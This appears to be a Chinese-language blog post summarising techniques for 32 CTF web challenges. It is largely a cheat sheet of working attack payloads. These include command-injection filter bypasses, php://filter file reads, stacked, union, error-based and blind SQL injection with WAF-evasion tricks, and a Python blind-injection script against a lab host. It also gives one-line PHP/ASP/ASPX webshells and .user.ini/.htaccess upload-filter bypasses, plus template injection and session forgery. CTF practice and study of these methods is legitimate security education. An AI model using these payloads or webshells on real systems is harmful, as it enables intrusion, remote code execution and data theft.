1-32题方法总结

一、通过提交参数访问flag.php页面获取flag

1、有include时,使用目录穿越,利用xxx?/…/,以及多个/…/配合访问指定的文件,利用/使xxx?成为一个不存在的目录,最后include利用…/…/跳转目录读取flag,ed:第一题

2、利用filter直接读取flag.php,file=php://filter/read=convert.base64-encode/resource=flag.php,eg:第六题

3、遇到了空格以及关键字拦截时,几种绕过方式,eg:第十题

关键字绕过:?ip=1;a=g;cat$IFS$1fla$a.php
空格绕过:
${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<<>重定向符替换
%09替换

4、利用空格绕过WAF,eg:第十三题,waf检测的是xxx,将参数提交设置成" xxx"时,WAF会认为xxx!= xxx,但是php获取参数时会将空格省略去

5、利用scandir获取flag所在地址并获取flag,输入:? num=print_r(scandir(chr(47)))获取flag所在地址,输入:? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))获取flageg:第十三题

6、提交序列化参数获取flag,反序列化时会执行类的析构函数,序列化时会执行wakeup魔法函数,绕过wakeup函数的方法:让序列化类信息参数数目不一致eg:第十五题

7、php使用==判断是否相等时,数字与字符判断时,会将字符中数字部分保留转换成int型与数字进行判断,eg:第十九题

8、MD5加密绕过,ffifdyop可以使查询语句永真,两个值不同但md5值相同则可以通过输入数组方式进行验证,(a[]=1)!=(b[]=2),但是经过MD5加密后,由于md5不能处理数组,结果为null==null,eg:第二十二题

9、传入文件名,读取内容与特定字符串比较,可以使用data协议进行绕过,如:第二十四题

text(参数名)=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

10、php中==是弱等,会将不同类型的转换成同类型比较,而===是强等,会先比较两边类型是否一致,再进行数值比较,eg:第二十九题

二、sql注入获取数据库中的flag

1、使用堆叠注入,eg:第三题

第一步:利用1’;show tables;#1;show tables;查看是否存在堆叠注入漏洞,以及是数字型还是字符型
第二步:利用1’;desc table.name;#查看表中字段
第三步:若发现flag提示,利用1’;select xx from table.name;#获取flag
第四步:若发现select被拦截,利用预编译绕过select限制:1';set @sql = CONCAT('se','lect * from table.name;');prepare stmt from @sql;EXECUTE stmt;#
第五步:若接着在遇到strstr拦截,由于strstr不能区分大小写,将开头字母大写进行绕过:1';Set @sql = CONCAT('se','lect * from '1919810931114514';');Prepare stmt from @sql;EXECUTE stmt;#

2、采用修改表名来进行获取flag,eg:第三题

前提:在输入栏输入1等正常数字会查询出正常数据;获取到了表名以及flag所在字段
原理:将flag所在的表名替换为输入1正常查询的表名xxx,这样正常输入1等正常输入时会将flag查询出来
查询语句:

修改表名(将表名user改为users)
alter table user rename to users;

修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);

构建的语句:

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#

3、利用原本sql语句执行非本意功能,eg:第五题

前提:让你输入flag值帮你判断对与错,且输出结果为1或0
方式1:输出结果为1或0猜测使用了||,以及语句为select xxa||flag from xxx,可以输入*,1让语句变成select *,1||flag from xxx从而查询出所有数据
方式2:将||意义改变,1;set sql_mode=PIPES_AS_CONCAT;select 1,让||变成连接词,执行两个个查询,一个为seelct 1 || flag from Flag,另一个执行设置后变成select 1|| flag from Flag,前者的||为或,结果为1,后一个为连接,查1和flag。

4、使用常规union select获取数据,eg:第八题

1、union select 1,2,database()#用于确定当前数据库名称
2、union select 1,2,group_concat(schema_name) from information_schema.schemata#用于查看所有数据库名称
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#用于都确定表名
3、union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘l0ve1ysq1’#用于确定字段名
4、union select 1,2,group_concat(id,username,password) from (databasename.tablename)#输出数据

5、发现union select部分字段缺失,可采用双写绕过,eg:第十七题;还可以采用//union//select进行绕过,eg:第二十七题

双写绕过规则:
union select ->ununionion seselectlect
from->frfromom
where->whereere
information->infoorrmation

6、使用extractvalue进行报错注入,如:第二十五题

1'^extractvalue(1,concat(1,(select(group_concat(schema_name))from(information_schema.schemata))))#

7、异或盲注,eg:第二十六题

import requests

if __name__ == '__main__':
    url = "http://1bf27f3e-0eb4-41fd-8991-aef8381dbfbc.node3.buuoj.cn/index.php"
    payload = {"id": ""}
    result = ""
    for i in range(1, 100):
        l = 32
        r = 126
        mid = (l + r) // 2
        while (l < r):
            payload["id"] = "0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, mid)
            html = requests.post(url, data=payload)
            if "Hello" in html.text:
                l = mid + 1
            else:
                r = mid
            mid = (l + r) // 2
        if (chr(mid) == " "):
            break
        result = result + chr(mid)
        print(result)
    print("flag:", result)

8、使用union select查询时若查询不存在的数据,会在数据库临时增加一条和查询数据相等的数据,eg:第二十八题

9、使用handler进行注入,eg:第三十二题

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

三、上传一句话木马获取webshell

php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

1、修改Content-Type:image/png保证上传类型为图片

2、绕过对php后缀名的检测方法:php改为phtml

3、添加图片头让一句话木马通过读取验证:GIF89a? <script language="php">eval($_REQUEST[pass])</script>

4、若只能上传图片格式的文件,可以使用.user.ini文件,通过访问其本身存在的php,使png格式木马启动,eg:第二十三题

.user.ini文件内容:
GIF89a auto_prepend_file=pass.png

5、若只能上传png格式,可以使用.htaccess文件,指定木马图片以php进行解析,连接图片即可

.htaccess内容:
<FilesMatch "pass">
SetHandler application/x-httpd-php
</FilesMatch>

四、特殊

1、tornado漏洞:在msg=?(?为回显地方)中,将?修改为{{handler.settings}}获取提示,eg:第十二题

2、修改流量包获取访问flag.php的权限,使用Referer参数指定从哪跳转来的,使用User-Agent指定浏览器名称,使用X-Forwarded-For指定请求方ip,eg:第十四题

3、flask采用session来判断访问者身份,可以通过修改session使用admin,eg:第二十题

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值